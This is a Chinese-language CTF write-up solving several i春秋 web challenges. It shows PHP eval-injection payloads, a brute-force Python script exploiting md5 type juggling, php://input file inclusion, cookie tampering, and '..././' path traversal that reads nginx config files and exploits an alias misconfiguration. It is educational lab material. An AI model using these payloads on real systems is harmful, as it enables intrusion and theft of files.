i春秋CTF大本营 百度杯2017年2月 Web WriteUp

爆破-1

challenge:

1
2
3
4
5
6
7
8
include "flag.php";
$a = @$_REQUEST['hello'];
if(!preg_match('/^\w*$/',$a )){
die('ERROR');
}
eval("var_dump($$a);");
show_source(__FILE__);
?>

$$aphp动态变量名,$a='abc',那么$$a就是$abc

so:

但是六位数爆破的话,能爆破出来,但是会很慢,那想想有没有什么取巧的办法呢?

$GLOBALS!php预定义的超全局变量,一个包含了全部变量的数组,键为变量名,值为变量值。

so:

get flag~

爆破-2

challenge:

1
2
3
4
5
<?php
include "flag.php";
$a = @$_REQUEST['hello'];
eval( "var_dump($a);");
show_source(__FILE__);

hint:

flag不在变量中。

$GLOBALS也不行,所以试试直接读flag.php的内容

so:

1
?hello=file_get_contents('flag.php')

get flag~

ps: other payloads:

1
2
?hello=file('flag.php')
?hello=);show_source('flag.php');var_dump(

爆破-3

challenge:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
error_reporting(0);
session_start();
require('./flag.php');
if(!isset($_SESSION['nums'])){
$_SESSION['nums'] = 0;
$_SESSION['time'] = time();
$_SESSION['whoami'] = 'ea';
}
if($_SESSION['time']+120<time()){
session_destroy();
}
$value = $_REQUEST['value'];
$str_rand = range('a', 'z');
$str_rands = $str_rand[mt_rand(0,25)].$str_rand[mt_rand(0,25)];
if($_SESSION['whoami']==($value[0].$value[1]) && substr(md5($value),5,4)==0){
$_SESSION['nums']++;
$_SESSION['whoami'] = $str_rands;
echo $str_rands;
}
if($_SESSION['nums']>=10){
echo $flag;
}
show_source(__FILE__);
?>

hint:

这个真的是爆破。

先看一下php的代码

  1. 先建立session,而且有效期只有120秒,好短
  2. 然后取两次随机字符,拼接在一起,构成$str_rands
  3. get/post的参数value
  4. 如果$_SESSION['whoami']等于value的第一位和第二位,并且,(md5($value)的第五位起的连着4位 == 0), num++,然后输出新的随机字符串
  5. 如果whoami的值大于等于10了,输出flag
  6. 注意==,若比较,如果传入的value是数组,则md5(value)返回NULL,NULL==0成立。

似乎好像只能爆破?

然后翻了几个师傅的wp,还真是爆破。

那乖乖写脚本吧QAQ:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#!/usr/bin/env python2
# -*- coding:utf8 -*-
__author__ = 'Cytosine'
import requests
import urllib
import base64
import hashlib
import sys
import string
import re
def foo():
url = 'http://9c18d9006d2c4c33ad622a5b1e834da73b8009d9e5d84ab6.game.ichunqiu.com/?value[]=%s'
sess = requests.session()
chars = 'ea'
for i in range(15):
params = url%chars
cont = sess.get(params).content
print cont
chars=cont[:2]
pass
if __name__ == '__main__':
foo()
# print 'ok'

include

challenge:

1
2
3
4
5
6
7
<?php
show_source(__FILE__);
if(isset($_REQUEST['path'])){
include($_REQUEST['path']);
}else{
include('phpinfo.php');
}

hint:

没错!就是文件包含漏洞。

查看phpinfo

发现allow_url_include开启:

也就允许通过?path=php://input的形式,讲post的数据作为php代码来执行:

可以看到dle345aae.php,flag明显就在这里了,cat一下:

Zone

hint:

网站要上线了,还没测试呢,怎么办?

进入题目,一个弹窗

转到login.php

admin,admin登陆一下,又一个弹窗:

源码泄露也没找到emm,再回去看看请求包返回包,发现头绪:

1
2
Cookie: UM_distinctid=1625583723926d-0d858c5efc83a9-49556c-13c680-1625583723fc7; pgv_pvi=5096256512; Hm_lvt_2d0601bd28de7d49818249cf35d95943=1532588617,1533282191; Hm_lvt_9104989ce242a8e03049eaceca950328=1532588594; Hm_lvt_1a32f7c660491887db0960e9c314b022=1532588594; chkphone=acWxNpxhQpDiAchhNuSnEqyiQuDIO0O0O; login=0

login=0明显有问题,改成login=1

http://3bc66d331d6d4914890bc5b1b9fffa7d03a55c066a944ad3.game.ichunqiu.com/manages/admin.php

访问,自动变为:

http://3bc66d331d6d4914890bc5b1b9fffa7d03a55c066a944ad3.game.ichunqiu.com/manages/admin.php?module=index&name=php

index换成flag试试:

然后,不会了,搜了一下,发现一个师傅写的wp,http://www.cnblogs.com/Mrsm1th/p/6600876.html

思路是绕过过滤,读取nginx配置文件,发现目录遍历、下载漏洞,得到flag

http://3bc66d331d6d4914890bc5b1b9fffa7d03a55c066a944ad3.game.ichunqiu.com/manages/admin.php?module=in./dex&name=php 访问失败
http://3bc66d331d6d4914890bc5b1b9fffa7d03a55c066a944ad3.game.ichunqiu.com/manages/admin.php?module=in../dex&name=php 访问成功 ../被过滤

..././绕过过滤
Nginx默认配置文件路径:/etc/nginx/nginx.conf

所以构造:?module=..././..././..././etc/nginx/nginx.conf&name=

最后一句include sites-enabled/default;

继续读取配置, ?module=..././..././..././etc/nginx/sites-enabled/default&name=:

重点:

1
2
3
4
location /online-movies {
alias /movie/;
autoindex on;
}

alias /movie/

在movie结尾的/

http://luoq.net/ais/1191/

正确配置是结尾不应带/,若带了/:

当你浏览 http://sebug.net/paper/ ,正常情况应该遍历/home/wwwroot/paper/这个目录,但是如果访问 http://sebug.net/paper../ , 这个的话就会遍历/home/wwwroot/这个目录了

所以,访问 http://3bc66d331d6d4914890bc5b1b9fffa7d03a55c066a944ad3.game.ichunqiu.com/online-movies../

然后想进/var/www/html,发现html点完下载了一个文件,file一下,一个php脚本,内容的index.php的内容。。。

然后翻了下wp,直接下载:

http://3bc66d331d6d4914890bc5b1b9fffa7d03a55c066a944ad3.game.ichunqiu.com/online-movies../var/www/html/flag.php

得到flag

OneThink

搜一下,thinkphp3.2的漏洞,发现可以通过缓存执行命令

https://bbs.ichunqiu.com/thread-4918-1-1.html

所以吖,窝们也学着写个shell到缓存文件里,执行命令~

wp

https://www.cnblogs.com/zhengjim/p/6666961.html‘

玩了一晚上瘟疫公司。。不想写了,洗洗睡觉

窝很可爱,请给窝钱